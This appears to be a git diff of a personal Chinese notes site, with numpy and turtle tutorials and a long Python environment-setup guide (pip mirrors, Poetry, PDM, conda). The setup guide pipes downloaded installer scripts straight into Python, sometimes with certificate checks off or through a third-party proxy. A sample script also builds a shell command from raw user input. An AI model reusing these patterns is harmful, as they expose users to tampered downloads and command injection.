N = N = N = [ 4000 4500 4500 4000 2000 2600 2400 2200 5800 6200 6000 6000 ] \left[ \begin{matrix} 4000 & 4500 & 4500 & 4000 \\ 2000 & 2600 & 2400 & 2200 \\ 5800 & 6200 & 6000 & 6000 \end{matrix} \right] 4000 2000 5800 4500 2600 6200 4500 2400 6000 4000 2200 6000
则每一季度中每一类成本的数量为: 每一季度三类成本的总数量 M N . s u m ( a x i s = 0 ) MN.sum(axis = 0) MN . s u m ( a x i s = 0 ) 四个季度每类成本的总数量 M N . s u m ( a x i s = 1 MN.sum(axis = 1 MN . s u m ( a x i s = 1 代码如下:
import numpy as np
+
+M = np. mat( [ ( 0.10 , 0.30 , 0.15 ) , ( 0.30 , 0.40 , 0.25 ) , ( 0.10 , 0.20 , 0.15 ) ] )
+N = np. mat( [ [ 4000 , 4500 , 4500 , 4000 ] , [ 2000 , 2600 , 2400 , 2200 ] , [ 5800 , 6200 , 6000 , 6000 ] ] )
+MN = M* N
+print ( "每一季度中每一类成本的数量为:\n{0}" . format ( MN) )
+print ( "每一季度三类成本的总数量为:\n{0}" . format ( MN. sum ( axis= 0 ) ) )
+print ( "四个季度每类成本的总数量为:\n{0}" . format ( MN. sum ( axis= 1 ) ) )
+
+
+每一季度中每一类成本的数量为:
+[ [ 1870. 2160. 2070. 1960. ]
+ [ 3450. 3940. 3810. 3580. ]
+ [ 1670. 1900. 1830. 1740. ] ]
+每一季度三类成本的总数量为:
+[ [ 6990. 8000. 7710. 7280. ] ]
+四个季度每类成本的总数量为:
+[ [ 8060. ]
+ [ 14780. ]
+ [ 7140. ] ]
+
+
矩阵乘法及其应用
求解线性方程组
三种乘法运算的区别open in new window
linalg线代模块 import numpy as np
+
+a = np. mat( [ [ 3 , 1 ] , [ 1 , 2 ] ] )
+b = np. mat( [ [ 9 , 8 ] ] )
+x = np. linalg. solve( a, b. T)
+y = np. linalg. det( a)
+a_I = np. linalg. inv( a)
+a_eigValue = np. linalg. eigvals( a)
+print ( "ax = b.T的解为:\n{0}\na的行列式为:\n{1}\n"
+ "a的特征值为:\n{2}\n" . format ( x, y, a_eigValue) )
+print ( "方阵a的特征值和右特征向量为:\n{0}"
+ . format ( np. linalg. eig( a) ) )
+print ( "ax为:\n{0}" . format ( a* x) )
+print ( "a与其逆矩阵的乘积为:\n{0}" . format ( a* a_I) )
+
+
+ax = b. T的解为:
+[ [ 2. ]
+ [ 3. ] ]
+a的行列式为:
+5.000000000000001
+a的特征值为:
+[ 3.61803399 1.38196601 ]
+
+方阵a的特征值和右特征向量为:
+( array( [ 3.61803399 , 1.38196601 ] ) , matrix( [ [ 0.85065081 , - 0.52573111 ] ,
+ [ 0.52573111 , 0.85065081 ] ] ) )
+ax为:
+[ [ 9. ]
+ [ 8. ] ]
+a与其逆矩阵的乘积为:
+[ [ 1. 0. ]
+ [ 0. 1. ] ]
+
+
实例分析 某地区居民连续几年的年底储蓄总金额如表所示:
(1)计算y关于t的回归方程y ^ = k t + b \hat{y} = kt + b y ^ = k t + b 的斜率与截距 (2)用所求的回归方程预测该地区第6年的年底储蓄总金额 | 年份 | 2015 | 2016 | 2017 | 2018 | 2019 | 2020 | | - | - | - | - | - | - | - | | 第t年 | 1 | 2 | 3 | 4 | 5 | 6 | | 储蓄总金额 | 6 | 7 | 7.8 | 8 | 9 | 9.8 | 一元线性回归分析是最基本的回归模型 概念 一元线性回归是分析只有一个自变量(自变量x和因变量y)线性相关关系的方法。 一个经济指标的数值往往受许多因素影响,若其中只有一个因素是主要的,起决定性作用,则可用一元线性回归进行预测分析。 分析 y ^ = a x + b + ϵ \hat{y} = ax + b + \epsilon y ^ = a x + b + ϵ
y ^ \hat{y} y ^ x a,b ϵ \epsilon ϵ 估计a,b参数,常用最小二乘法: ∑ i = 1 n ( y i − y ^ i ) 2 \sum_{i = 1}^{n} (y_i - \hat{y}_i)^2 ∑ i = 1 n ( y i − y ^ i ) 2
import numpy as np
+
+
+def create_a_linear_regressor ( X, Y) :
+ x_m = np. mat( X)
+ y_m = np. mat( Y)
+ top1 = float ( x_m * y_m. T)
+ top2 = ( X. sum ( ) * Y. sum ( ) ) / ( X. shape[ 0 ] )
+ top = top1 - top2
+ bottom1 = np. multiply( X, X) . sum ( )
+ bottom2 = ( ( X. sum ( ) ) * ( X. sum ( ) ) ) / ( X. shape[ 0 ] )
+ bottom = bottom1 - bottom2
+ a = top / bottom
+ front = ( Y. sum ( ) ) / ( Y. shape[ 0 ] )
+ back = ( a * ( X. sum ( ) ) ) / ( X. shape[ 0 ] )
+ b = front - back
+ return [ a, b]
+
+
+X = np. array( [ 1 , 2 , 3 , 4 , 5 , 6 ] )
+Y = np. array( [ 6.0 , 7.0 , 7.8 , 8.0 , 9.0 , 9.8 ] )
+para = create_a_linear_regressor( X, Y)
+print ( "斜率为:{0} 截距为:{1}" . format ( para[ 0 ] , para[ 1 ] ) )
+print ( "第6年年底储蓄总金额为:{0}" . format ( para[ 0 ] * 7 + para[ 1 ] ) )
+
+
+斜率为: 0.7200000000000013 截距为: 5.413333333333329
+第6 年年底储蓄总金额为: 10.453333333333337
+
numpy进行数据统计分析时常用的方法 去重 去掉重复的数据 一维数组 unique() 去掉重复数据且返回已排序的结果(只对数组) unique( b, return_index = True , return_counts = True )
+
return_index = True 对二维数组去掉重复行 import numpy as np
+
+A = np. random. randint( 10 , 15 , size= ( 1 , 7 ) )
+print ( "原数组:\n{0}" . format ( A) )
+B, index = np. unique( A, return_index= True )
+print ( "去重\n{}\nindex\n{}" . format ( B, index) )
+C = np. array( [ [ 1 , 2 ] , [ 3 , 4 ] , [ 1 , 2 ] , [ 3 , 4 ] , [ 3 , 4 ] ] )
+c = np. unique( C, axis= 0 )
+print ( '去掉数组C中重复的行\n' , c)
+
+
+原数组:
+[ [ 12 12 11 13 13 13 10 ] ]
+去重
+[ 10 11 12 13 ]
+index
+[ 6 2 0 3 ]
+去掉数组C中重复的行
+ [ [ 1 2 ]
+ [ 3 4 ] ]
+
+
numpy进行数据统计分析时常用的方法 重复数据,需要将数据重复若干次。常用tile()和repeat() repeat( a, repeats, axis= None )
+
a指重复的数组元素, repeats重复次数, axis指沿着哪个轴重复 它们区别在于: tile函数对数组进行重复, repeat函数是对数组中的每个元素进行重复操作。 import numpy as np
+
+arr = np. arange( 5 )
+arr_tile = np. tile( arr, 2 )
+print ( '原数组为:' , arr)
+print ( '重复后的数组为:' , arr_tile)
+np. random. seed( 42 )
+arr1 = np. random. randint( 0 , 10 , size= ( 3 , 3 ) )
+print ( '原数组:\n' , arr1)
+arr1_repeat = np. repeat( arr1, 2 , axis= 1 )
+print ( '重复后数组为:' , arr1_repeat)
+
+
+原数组为: [ 0 1 2 3 4 ]
+重复后的数组为: [ 0 1 2 3 4 0 1 2 3 4 ]
+原数组:
+ [ [ 6 3 7 ]
+ [ 4 6 9 ]
+ [ 2 6 7 ] ]
+重复后数组为: [ [ 6 6 3 3 7 7 ]
+ [ 4 4 6 6 9 9 ]
+ [ 2 2 6 6 7 7 ] ]
+
numpy中的数据常用保存与读取方法 二进制的文件和文件列表形式(文本文件和csv文件) save()函数是以二进制的格式保存数据(保存格式是.npy)。 load()函数是从二进制的文件中读取数据(读取npy)。 savez函数可以将多个数组保存到一个文件(.npz)中。 np. savez( filenme, arr1, arr2)
+
np. savez( filenme, arr1= arr1, arr2= arr2)
+
存储时可以省略扩展名,但读取时不能省略扩展名。 savetxt函数是将数组写到文本文件(txt或cvs)中。 np. savetxt( filename, arr, fmt= "%d" , delimiter= " " )
+
loadtxt函数把文件加载到一个二维数组中。 np. loadtxt( filename, delimiter= "," )
+
genfromtxt函数面向的是结构化数组和缺失数据。 np. genfromtxt( filename, delimiter = "," )
+
import numpy as np
+import os
+
+file_path_savez = os. path. abspath( os. path. join( os. path. dirname( __file__) , './res/files/prog/matrix' ) )
+file_path_savetxt = os. path. abspath( os. path. join( os. path. dirname( __file__) , './res/files/prog/matrix.csv' ) )
+file_path_arr = os. path. abspath( os. path. join( os. path. dirname( __file__) , './res/files/prog/matrix.npz' ) )
+
+A = np. array( [ 1 , 2 , 3 , 4 , 5 ] )
+B = np. diag( A)
+C = np. linspace( 1 , 50 , 49 , dtype= int ) \
+ . reshape( 7 , 7 )
+C = np. mat( C)
+row = len ( C)
+col = len ( C[ 0 , : ] )
+D = np. diagonal( C)
+D_diag = np. diag( D)
+E = np. diag( np. diag( C) )
+E_M = np. mat( E)
+F = np. tril( C)
+F_1 = np. tril( C, - 1 )
+F1 = np. triu( C)
+F1_1 = np. triu( C, 1 )
+np. savez( file_path_savez,
+ a= A, b= B, c= C)
+np. savetxt( file_path_savetxt,
+ E_M, '%d' ,
+ delimiter= ',' )
+arr = np. load( file_path_arr)
+
+print ( "a:\n{0}\nb:\n{1}\nc:\n{2}\n" . format ( arr[ 'a' ] , arr[ 'b' ] , arr[ 'c' ] ) )
+
+arr1 = np. loadtxt( file_path_savetxt, delimiter= ',' )
+print ( "E_M:\n{0}"
+ . format ( arr1) )
+
+
上一页
Matplotlib
下一页
OpenCV-python
+
+
+
diff --git a/Language/Python/libs/turtle/index.html b/Language/Python/libs/turtle/index.html
new file mode 100644
index 0000000000..4a26896b55
--- /dev/null
+++ b/Language/Python/libs/turtle/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Turtle | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/turtle/turtle.html b/Language/Python/libs/turtle/turtle.html
new file mode 100644
index 0000000000..001aef3d3d
--- /dev/null
+++ b/Language/Python/libs/turtle/turtle.html
@@ -0,0 +1,46 @@
+
+
+
+
+
+
+
+ 目录 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 目录 turtle 重置 观感上讲调用此函数之前的海龟绘图在调用该函数后都消失了(清屏) turtle.reset()
turtle.resetscreen()
重置屏幕上的所有海龟为其初始状态。 注解 此 TurtleScreen 方法作为全局函数时只有一个名字 resetscreen。全局函数 reset 所对应的是 Turtle 方法 reset。
画圆 画圆之前要搞清楚海龟的朝向,画圆时圆心在海龟正左方距离为 radius 处 turtle.setheading(to_angle)
turtle.seth(to_angle)
to_angle
-- 一个数值 (整型或浮点型)设置海龟的朝向为 to_angle。以下是以角度表示的几个常用方向: >> > turtle. setheading( 90 )
+>> > turtle. heading( )
+90.0
+
turtle.speed(speed=None) turtle.circle(radius, extent=None, steps=None) radius
: 一个数值
extent
: 一个数值 (或 None)
steps
: 一个整型数 (或 None)
绘制一个 radius 指定半径的圆。圆心在海龟左边 radius 个单位;extent 为一个夹角,用来决定绘制圆的一部分。如未指定 extent*则绘制整个圆。如果 *extent 不是完整圆周,则以当前画笔位置为一个端点绘制圆弧。如果 radius 为正值则朝逆时针方向绘制圆弧,否则朝顺时针方向。最终海龟的朝向会依据 extent 的值而改变。
圆实际是以其内切正多边形来近似表示的,其边的数量由 steps 指定。如果未指定边数则会自动确定。此方法也可用来绘制正多边形。
要注意的是,画笔起始点位置并非圆心,而是圆心垂线与下圆弧的交点 turtle.colormode(255) turtle色彩模式切换为RGB模式 后面就可以用turtle.color(RGB元组)
来给画笔上色了 绘图完成后不自动退出 turtle.exitonclick()
绘图完成后点一下绘图界面则绘图窗口关闭程序结尾 加上:turtle.done()
或 turtle.mainloop()
绘图结束,需手动关闭窗口 颜色填充 绘制图形前调用 绘图结束后调用 即可在绘制的图形中填充绘制时的画笔颜色 上一页
TensorFlow
下一页
Rocketry
+
+
+
diff --git "a/Language/Python/\345\274\200\345\217\221\347\216\257\345\242\203.html" "b/Language/Python/\345\274\200\345\217\221\347\216\257\345\242\203.html"
new file mode 100644
index 0000000000..8e0750fcc1
--- /dev/null
+++ "b/Language/Python/\345\274\200\345\217\221\347\216\257\345\242\203.html"
@@ -0,0 +1,321 @@
+
+
+
+
+
+
+
+ Python 开发环境配置 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Python 开发环境配置 安装 Python Windows ubuntu
WIndows 下直接到官网下载可执行文件安装即可, 或者下 Anaconda, 从 Anaconda 里装也可以
下载好的 python 安装程序除了手动运行安装外还可以使用命令行来安装, 例如:
python-3. 10. 6-amd64. exe / quiet InstallAllUsers=1 TargetDir=C:\Python310 PrependPath=1 Include_test=0
+
等待一会儿后新开个 powershell / cmd 窗口验证下:
可以看到已经成功安装在默认目录下且添加了环境变量了
重开 powershell 窗口会重新加载环境变量, 而有时候当前 powershell 窗口可能保存了一些当前需要的临时变量, 重开后就丢失了, 还需要重新操作, 此时也可以通过如下方式, 在不关闭当前 powershell 窗口的前提下重新加载环境变量
如果已经 安装了 Chocolateyopen in new window , 那么可以直接使用 refreshenv
来刷新当前 powershell 窗口的环境变量
如果没装 Chocolatey 的话也可以在当前 powershell 窗口中执行如下命令来将当前 PowerShell 进程中的 PATH 环境变量设置为与系统环境变量中的 PATH 值相同
[System.Environment] ::SetEnvironmentVariable( "Path" , [System.Environment] ::GetEnvironmentVariable( "Path" , [System.EnvironmentVariableTarget] ::Machine) , [System.EnvironmentVariableTarget] ::Process )
+
+$env :Path = [System.Environment] ::GetEnvironmentVariable( "Path" , "Machine" )
+
[System.Environment]::GetEnvironmentVariable("Path", [System.EnvironmentVariableTarget]::Machine)
: 从系统环境变量中获取名为 "Path" 的环境变量的值。 [System.Environment]
是 .NET Framework 中的一个类,用于访问系统环境变量。 [System.EnvironmentVariableTarget]::Machine
参数指定了要获取的是计算机级别的环境变量。[System.Environment]::SetEnvironmentVariable("Path", ...)
:用获取到的系统环境变量值来更新当前 PowerShell 进程中的 PATH 环境变量。[System.Environment]::SetEnvironmentVariable
方法用于设置环境变量的值。它接受三个参数: 第一个参数是要设置的环境变量的名称,这里是 "Path",表示 PATH 环境变量。 第二个参数是要设置的新值,它使用了之前获取的系统环境变量的值,确保当前进程中的 PATH 与系统环境变量中的 PATH 一致。 第三个参数是指定了要设置的环境变量的范围,这里是 [System.EnvironmentVariableTarget]::Process
,表示将更改应用于当前进程。 pip 操作
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pygame --target = C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages
+
离线迁移 python 库 python - How to install packages offline? - Stack Overflow --- python - 如何离线安装软件包? - 堆栈溢出open in new window
pip download - pip documentation v23.2.1 --- pip 下载 - pip 文档 v23.2.1 (pypa.io)open in new window
要在一台断网的机器上安装 python 库的话, 可以现在一台联网的机子上下载所需的 whl 包, 然后拷贝到断网机器中来安装
PS: 两台机器需要有相同的系统以及相同的 python 以及 pip 版本
对于需要安装的库可以现在联网的机器上新建并 CD 到一个空目录, 然后执行如下命令
mkdir pip
+cd pip
+pip download pip
+mkdir wheel
+cd wheel
+pip download wheel
+mkdir [ pkg_name]
+cd [ pkg_name]
+pip download [ pkg_name]
+
这会在当前命令行目录下新建一堆包目录, 每个包目录都尤其相关的 whl 依赖, 将这些目录拷贝到离线主机的某个目录中, 并在 powershell 中 cd 到该目录, 运行如下命令即可安装这些包
$packages = Get-ChildItem - Directory
+foreach ( $package in $packages ) {
+ $package_name = $package . Name
+ $package_path = $package . FullName
+ Write-Host "Install package: $package_name "
+ Write-Host "Package path: $package_path "
+ pip install -- no-index -- find-links $package_path $package_name
+}
+
--no-index
: 忽略包索引(只查看 --find-links URL
)--find-links
: 如果是 html 文件的 URL 或路径,则解析指向存档的链接,例如 sdist (.tar.gz) 或wheel (.whl) 文件。 如果是本地路径或 file:// URL,则在目录列表中查找档案。 不支持指向 VCS 项目 URL 的链接
要逐个包安装的话也是如此:
pip install -- no-index -- find-links / path/to/download/dir / [pkg_name]
+
PS: 上述是逐个梳理依赖的情况, 如果有完整的 requirements 的话就比较方便了, 首先是在联网主机上下载这些依赖
pip download - r . \requirements. txt
+
将该目录拷贝到离线主机上后执行如下命令
pip install -- no-index -- find-links [targer_path] - r [requirements.txt_path]
+
换源操作 winrey/EasyConnectedInChina: 汇总apt,pip,nodejs等各种工具国内镜像源和设置镜像源的方法 (github.com)open in new window
+py - 3.8 - m pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple opencc
+pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple opencc
+
+
+py - 3.8 - m pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - r requirements. txt
+
+pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - r requirements. txt
+
+
+py - 3.8 - m pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - - upgrade pip
+
+pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - - upgrade pip
+
镜像源地址 阿里云 https://mirrors.aliyun.com/pypi/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣(douban) http://pypi.douban.com/simple/ 清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/ 中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/ 补充:将包装到指定路径:
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pygame --target=C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages
+
源地址 官方源
https://pypi.python.org/simple
阿里云
https://mirrors.aliyun.com/pypi/simple/
中国科技大学
https://pypi.mirrors.ustc.edu.cn/simple/
豆瓣(douban)
http://pypi.douban.com/simple/
清华大学
https://pypi.tuna.tsinghua.edu.cn/simple/
中国科学技术大学
http://pypi.mirrors.ustc.edu.cn/simple/
使用方法 方法一:临时使用 直接在pip后加-i后跟这次使用的源即可,例:
pip install web.py -i https://mirrors.aliyun.com/pypi/simple/
+
指令中的网址为上方的源地址。
如果出现带有trusted-host
字样的报错,这是由源不为 https 协议导致的,使用:
pip install web.py -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
+
添加信任主机即可。
方法二:更改默认源 可以使用
pip config set global.index-url xxxx
+
+pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple/
+
来设置 xxxx
源
查看当前 pip 配置
+global.index-url= 'https://pypi.tuna.tsinghua.edu.cn/simple'
+install.trusted-host= 'pypi.tuna.tsinghua.edu.cn'
+
创建或修改配置文件(一般都是创建)
更改内容:
[global]
+index-url = https://mirrors.aliyun.com/pypi/simple/
+
或
[global]
+index-url = http://pypi.douban.com/simple
+[install]
+trusted-host=pypi.douban.com
+
文件中的网址为上方的源地址。 刚刚下面的内容是http协议源的实例。需要添加信任。 保存退出即可。
方法三:python代码更改安装源 临时使用其他源安装软件包的python脚本如下:
+
+import os
+
+package = raw_input ( "Please input the package which you want to install!\n" )
+command = "pip install %s -i https://mirrors.aliyun.com/pypi/simple/" % package
+
+
+os. system( command)
+
环境/依赖版本管理工具 virtual environment
+pip install virtualenv
+
+
+virtualenv -p python3 env
+
+
+.\ env\ Scripts\ activate
+
+
+source env/bin/activate
+
Pipenv 这里记录的是 ubuntu 下的配置 Windows 的话 Pycharm 中有自带的 Pipenv 包
如何开始使用 Pipenv? | w3c笔记 (w3cschool.cn)open in new window
WSL Ubuntu 18.04上使用pipenv的4个关键点 | 老梅笔记 (laomeinote.com)open in new window
Pipenv: Python Dev Workflow for Humans — pipenv 2021.11.9 documentation (pypa.io)open in new window
12. Virtual Environments and Packages — Python 3.10.0 documentationopen in new window
Pipenvopen in new window 是 Python 的 Python 打包工具,是对使用 Pipopen in new window 、Venvopen in new window 和 requirements.txt的升级。Pipenv 是将包管理与虚拟环境相结合的好方法。
虚拟环境是一个自包含的目录树,其中包含针对特定 Python 版本的 Python 安装,以及许多其他包。
安装 pipenv
模块:
apt install pipenv
+pip insatll pipenv
+
使用 cd
命令切换到需要安装虚拟环境的目录安装虚拟环境(如果当前目录下没有 Pipfile
则会先生成 Pipfile
, 如果有的话便会继续安装虚拟环境):
Pipfile
中将 [[source]]
区域下的 url
改为国内的源
+https://repo.huaweicloud.com/repository/pypi/simple
+
+https://mirrors.aliyun.com/pypi/simple
+
+https://pypi.python.org/simple
+
如果默认生成的 Pipfile
中的包特别多, 那么这条命令会执行很长时间且没有 log, 这将会是一个很折磨的过程(
启动虚拟环境
可以通过 exit
退出虚拟环境
Poetry Poetry - Python dependency management and packaging made easy (python-poetry.org)open in new window
python-poetry/poetry: Python dependency management and packaging made easy. (github.com)open in new window
Poetry 是 Python 的依赖管理器
Poetry 可以帮助您声明、管理和安装 Python 项目的依赖项,确保到处都有正确的 stack。
支持 python 3.7 +
系统需求 需求 Python 2.7 或 3.5+. 支持跨平台, 在 Windows, Linux, OSX 系统上都可以同样出色地运行;
Python 2.7 以及 3.5 后续版本不再支持, 需要升级 Python 版本 个人建议 Python 3.8 以上, 因为用 Python 3.7.3 安装报错了
安装 Introduction | Documentation | Poetry - Python dependency management and packaging made easy (python-poetry.org)open in new window
Poetry 提供了一个自定义的安装程序, 通过解构 Poetry 的依赖关系, 将 Poetry 与系统的其他部分隔离开
Linux Windows
osx / linux / bashonwindows install instructions
:
curl -sSL https://install.python-poetry.org | python -
+
如果报错
则可通过 --insecure
参数来放弃验证
curl -sSL --insecure https://install.python-poetry.org | python -
+
如果出现 syntax error
那么大概是 Python 版本比较低, 可以安装 python3.8 及以上版本后使用
curl -sSL --insecure https://install.python-poetry.org | python3 -
+
打开 ~/.bashrc
: 将 poetry 所在目录添加到该配置文件中
export PATH = "/root/.local/bin:$PATH "
+
+source ~/.bashrc
+
+poetry -V
+
windows powershell install instructions
:
( Invoke-WebRequest - Uri https:/ / install. python-poetry. org - UseBasicParsing) . Content | python -
+
上图中使用的是旧版的 1.x
版本的安装链接: https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py
, 新版本推荐使用 https://install.python-poetry.org
来安装
建议在安装Python之前系统优先的Python不要是conda环境, 也就是说最好系统优先的 Python 环境是自己手动安装的标准 Python 环境
PS: 因为我没装标准Python环境直接用 conda 出问题了, poetry 安装位置会乱飞还会找不到dll
使用 poetry --version
报错的话需要手动加下环境变量, 如上图所示的目录加到系统变量的 path
变量中即可
urllib. error. URLError: <urlopen error unknown url type : https>
+
如果出现以上错误, 那可能是因为默认 Python 版本比较低, 建议使用 3.8 以上的版本
poetry 会自动添加环境变量, 安装完后重启 powershell
, 检查下 poetry 版本:
配置文件 Configuration | Documentation | Poetry - Python dependency management and packaging made easy (python-poetry.org)open in new window
macOS: ~/Library/Application Support/pypoetry
Windows: C:\Users\<username>\AppData\Roaming\pypoetry
可以通过:
poetry config virtualenvs. in-project true
+
来让 poetry 默认在项目根目录下创建 venv
作为虚拟环境目录, 或者直接写配置文件:
[ virtualenvs ]
+in-project = true
+
+
此项配置默认为 false
若在配置此项之前创建了虚拟环境, windows 下应该在 C:\Users\用户名\AppData\Local\pypoetry\Cache\virtualenvs
目录下, 将其删除后重新在项目根目录下 poetry install
即可在项目根目录下创建 .venv
作为虚拟环境目录
pyproject.toml 换源
The pyproject.toml file | Documentation | Poetry - Python dependency management and packaging made easy (python-poetry.org)open in new window
Poetry 默认配置从 PyPI 查询依赖包, 如果想要使用私仓(或是镜像)的话需要如如下配置
[ [ tool.poetry.source ] ]
+name = "private"
+url = "http://example.com/simple"
+
例如:
[ [ tool.poetry.source ] ]
+name = "aliyun"
+url = "http://mirrors.aliyun.com/pypi/simple"
+default = true
+
[ [ tool.poetry.source ] ]
+name = "tsinghua"
+url = "https://pypi.tuna.tsinghua.edu.cn/simple/"
+default = true
+
基本用法 安装依赖 Python - poetry(5)依赖规范 (win80.net)open in new window
使用 Python Poetry 进行依赖管理-云社区-华为云 (huaweicloud.com)open in new window
Python依赖管理及打包工具Poetry使用规范 - 掘金 (juejin.cn)open in new window
可以在 pyproject.toml
的 tool.poetry.dependencies
区域指明依赖版本
也可以通过 poetry add
来安装依赖
使用虚拟环境 默认情况下, poetry 会在 {cache-dir}/virtualenvs
({cache-dir}\virtualenvs
on Windows)目录下创建一个虚拟环境:
如果先前设置了 poetry config virtualenvs.in-project true
的话执行 poetry install
安装依赖则会装在项目根目录的 .venv
里
激活虚拟环境: cd
进入 .venv
然后使用 poetry shell
激活虚拟环境
结合 conda 环境使用 poetry 可以直接使用 conda 环境而不单独创建虚拟环境
只需要先 activate 对应 conda 环境, 然后把 pyproject.toml
中的 python 版本对其当前 conda 环境版本即可
此时使用 poetry shell
会输出 Virtual environment already activated: xxxxxx
不过当然也可以使用 conda 环境来创建虚拟环境, 只需要使用 poetry env use 对应conda环境的python.exe路径
即可利用该 conda 环境创建虚拟环境
在当前 conda 环境的 bin
目录中找不到 activate 脚本导致环境激活失败(ubuntu) 在该 conda 环境的 bin 目录下新建一个 activate 文件, 写入如下代码然后重新 poetry shell 即可
#!/bin/sh
+_CONDA_ROOT = "/root/anaconda3/envs/xxx"
+
+
+\ . "$_CONDA_ROOT /etc/profile.d/conda.sh" || return $?
+conda activate "$@ "
+
+
奇怪的是虽然没有 activate 脚本, 但是直接 conda activate 是有用的
常见问题 Failed to create the collection: Prompt dismissed.. Error: Unable to store the password for poetry-repository-pypi in the key ring: Failed to unlock the collection! · Issue #2692 · python-poetry/poetry (github.com)open in new window
python poetry 1.0.0 private repo issue fix – Frank-Mich's Blogopen in new window
+import keyring
+print ( keyring. util. platform_. config_root( ) )
+
poetry run python test.py
+
打开输出的文件目录(不存在则创建), 新建一个 keyringrc.cfg
, 填入
[backend]
+default-keyring=keyring.backends.fail.Keyring
+
PDM pdm-project/pdm: A modern Python package manager with PEP 582 support. (github.com)open in new window
PDM - 一款新的 Python 包管理器 | Frost's Blog (frostming.com)open in new window
pdm/README_zh.md at main · pdm-project/pdm (github.com)open in new window
官方文档已经讲得很详细了, 这里摘录下来方便个人阅读
持续集成中的 Python - 狂飙 (networm.me)open in new window
PDM 是由 Poetry 开发组的成员开发的( •̀ ω •́ )✧
概述 PDM 旨在成为下一代 Python 软件包管理工具。它最初是为个人兴趣而诞生的。如果你觉得 pipenv
或者 poetry
用着非常好,并不想引入一个新的包管理器,那么继续使用它们吧;但如果你发现有些东西这些 工具不支持,那么你很可能可以在 pdm
中找到。
PEP 582open in new window 提出下面这种项目的目录结构:
foo
+ __pypackages__
+ 3.8
+ lib
+ bottle
+ myscript.py
+
项目目录中包含一个__pypackages__
目录,用来放置所有依赖的库文件,就像npm
的node_modules
一样。 你可以在这里open in new window 阅读更多提案的细节。
主要特性 为什么不用虚拟环境 现在大部分的 Python 包管理器也同时管理虚拟环境,这主要是为了隔离项目开发环境。但如果涉及到虚拟 环境嵌套虚拟环境的时候,问题就来了:你可能用一个虚拟环境的 Python 安装了某个虚拟环境管理工具, 然后又用这个工具去创建更多虚拟环境。当某一天你升级了新版本的 Python 你必须一个一个去检查这些 虚拟环境,没准哪个就用不了了。
然而 PEP 582open in new window 提供了一个能把 Python 解释器和项目开发环境解耦的方法。这是一个相对比较新的提案, 没有很多相关的工具实现它,这其中就有 pyflowopen in new window 。但 pyflow 又是用 Rust 写的,不是所有 Python 的社区 都会用 Rust,这样就没法贡献代码,而且,基于同样的原因,pyflow 并不支持 PEP 517open in new window 构建。
安装 pdm/README_zh.md at main · pdm-project/pdm (github.com)open in new window
安装 PDM 需要 Python 3.7 或更高版本
但是运行 PDM 没有 Python 版本要求
Linux/Mac Windows
curl -sSL https://ghproxy.com/https://raw.githubusercontent.com/pdm-project/pdm/main/install-pdm.py | python3 -
+
使用 powershell
:
( Invoke-WebRequest - Uri https:/ / raw. githubusercontent. com/pdm-project/pdm/main/install-pdm . py - UseBasicParsing) . Content | python -
+
自动添加的 PATH 在用户变量中, 重启 VSCode 后可能依然无法正确识别 p
dm 命令, 此时可以手动修改环境变量, 在系统变量的 PATH 中加上上图中的相应值
使用 pipx
:
QuickStart 初始化一个新的 PDM 项目:
新建一个项目文件夹, 在当前文件夹目录下打开 powershell:
按照指引回答提示的问题,一个 PDM 项目和对应的pyproject.toml
文件就创建好了。
把依赖安装到 __pypackages__
文件夹中
pdm add tk
+
+
+pdm remove tk
+
working with PEP 582 推荐在 .gitignore
中忽略
__pypackages__/
+.pdm.toml
+
对于 VSCode, 可以先用命令行安装 pdm-vscode:
pdm plugin add pdm-vscode
+
安装完后, 在输入 pdm init
或者 pdm use
命令后会自动创建 .vscode/settings.json
{
+ "python.autoComplete.extraPaths" : [ "__pypackages__/<major.minor>/lib" ] ,
+ "python.analysis.extraPaths" : [ "__pypackages__/<major.minor>/lib" ]
+}
+
+
需要结合 pylance 使用的话需要在项目根目录创建一个 pyrightconfig.json
:
{
+ "exclude" : [ "__pypackages__" ]
+}
+
PDM Scripts 例如运行 main.py
可以使用
Windows Linux
或者
eval "$( pdm --pep582 ) "
+python main.py
+
或者将 pdm --pep582
写到 /root/.bash_profile
然后再在 bash 中使用 python main.py
PDM-packer frostming/pdm-packer: A PDM plugin that packs your packages into a zipapp (github.com)open in new window
A PDM plugin that packs your packages into a zipapp
pdm-packer requires Python >=3.7
安装:
pdm plugin add pdm-packer
+
使用:
$ pdm pack [ common-options] [ pack-options]
+
Common Options:
show this help message and exit
-v for detailed output and -vv for more detailed
Use the global project, supply the project root with -p
option
-p PROJECT_PATH, --project PROJECT_PATH
+
Specify another path as the project root, which changes the base of pyproject.toml and __pypackages__
Pack Options:
Specify the console script entry point for the zipapp
-o OUTPUT, --output OUTPUT
+
Specify the output filename. By default the file name will be inferred from the project name.
Compress files with the deflate method, no compress by default
Compile source into pyc files
Remove the .py files in favor of .pyc files
-i INTERPRETER, --interpreter INTERPRETER
+
The Python interpreter path, default: the project interpreter
Create an executable file. If the output file isn't given, the file name will end with .exe(Windows) or no suffix(Posix)
See also: https://docs.python.org/3.9/library/zipapp.html
示例:
+pdm pack
+
+pdm pack --exe
+
+pdm pack -o app.pyz -m app:main
+
Anaconda Anaconda
安装完成后调起命令行会默认启动 conda 环境, 可以使用如下命令开启或关闭该项配置
+conda config --set auto_activate_base false
+
+conda config --set auto_activate_base true
+
创建一个名为 BigData
, python 版本为 3.9 的虚拟环境
conda create -n BigData python = 3.9
+
激活 BigData
